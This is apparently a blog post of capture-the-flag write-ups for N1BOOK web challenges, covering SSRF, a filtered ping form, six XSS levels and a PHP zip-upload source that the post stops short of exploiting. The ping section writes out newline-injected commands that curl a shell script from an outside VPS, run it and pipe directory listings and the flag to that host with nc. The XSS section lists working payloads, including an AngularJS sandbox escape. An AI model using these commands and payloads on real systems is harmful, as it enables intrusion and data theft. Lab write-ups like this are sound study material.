N1BOOK刷题记录 Web


记录下N1BOOK web的刷题,平台是BUUOJ

第二章 Web进阶

SSRF Training

题目打开可以看见有提示flag.php

upload successful
我们尝试直接127.0.0.1/flag.php,直接出现flag
upload successful

死亡ping命令

upload successful
题目界面是一个ping的界面
首先通过fuzz,可以发现他过滤了很多东西

["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#", "%", "^", "*", "[", "]", "\\", ":", "-", "_"]

我们先可以用%0a截断来进行命令执行,但是由于无回显,所以得利用下我们的vps,来进行折中的命令执行

首先我们在vps上创建一个1.sh的脚本文件

ls / | nc 124.70.155.7 9999

然后将文件传到靶机服务器的/tmp目录

127.0.0.1%0acurl 124.70.155.7/1.sh > /tmp/1.sh

给文件加权限

127.0.0.1%0achmod 777 /tmp/1.sh

vps监听端口

nc -lvp 9999

执行bash文件

127.0.0.1%0ash /tmp/1.sh

我们就可以得到返回的命令执行结果
upload successful
那么再修改下sh文件即可得到flag

cat /FLAG | nc 124.70.155.7 9999

upload successful

XSS闯关

level1

无任何过滤

?username=<script>alert(123)</script>

level2

upload successful
第二关我们的输入本身就被放在了script标签里,只要做好闭合就行

?username=123'-alert(123);//

level3

我们尝试用上一关的payload,发现’会被加上\转义

upload successful
我们仔细看会发现这关我们输入的username会被直接引用到js代码里

upload successful
那么这就是DOMXSS

?username=123<img src=x onerror=alert(123)>

level4

upload successful
jumpUrl参数可控,利用jumpUrl来xss

upload successful

?jumpUrl=javascript:alert(123)

等待10秒跳转就行

level5

upload successful
自动提交表单,且action参数可控

?action=javascript:alert(123)&autosubmit=1

level6

upload successful
尝试发现<被实体编码了

往上查看发现题目使用的是angular js
upload successful
利用angular.js的二次渲染xss漏洞

参考文章

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(123)//');}}

文件上传

打开题目给了源码,我们审计下关键代码

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');

if(!$_FILES){

        echo '网页内容';

    show_source(__FILE__);
}else{
    $file = $_FILES['file'];

    if(!$file){
        exit("请勿上传空文件");
    }
    $name = $file['name'];

    $dir = 'upload/';
    $ext = strtolower(substr(strrchr($name, '.'), 1));
    $path = $dir.$name;

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                 }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f);
                    }
                }
            
            }
        }
    }

    if(!is_dir($dir)){
        mkdir($dir);
    }

    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir);
    }

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            $archive = new PclZip($file['tmp_name']);
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir);
                   exit("解压失败");
            }

            check_dir($dir);
            exit('上传成功!');
        }else{
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

通过审计我们可以大概了解到上传的逻辑,如果直接上传,题目用的是白名单,只允许jpg,png,gif


文章作者: peco
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peco !
  目录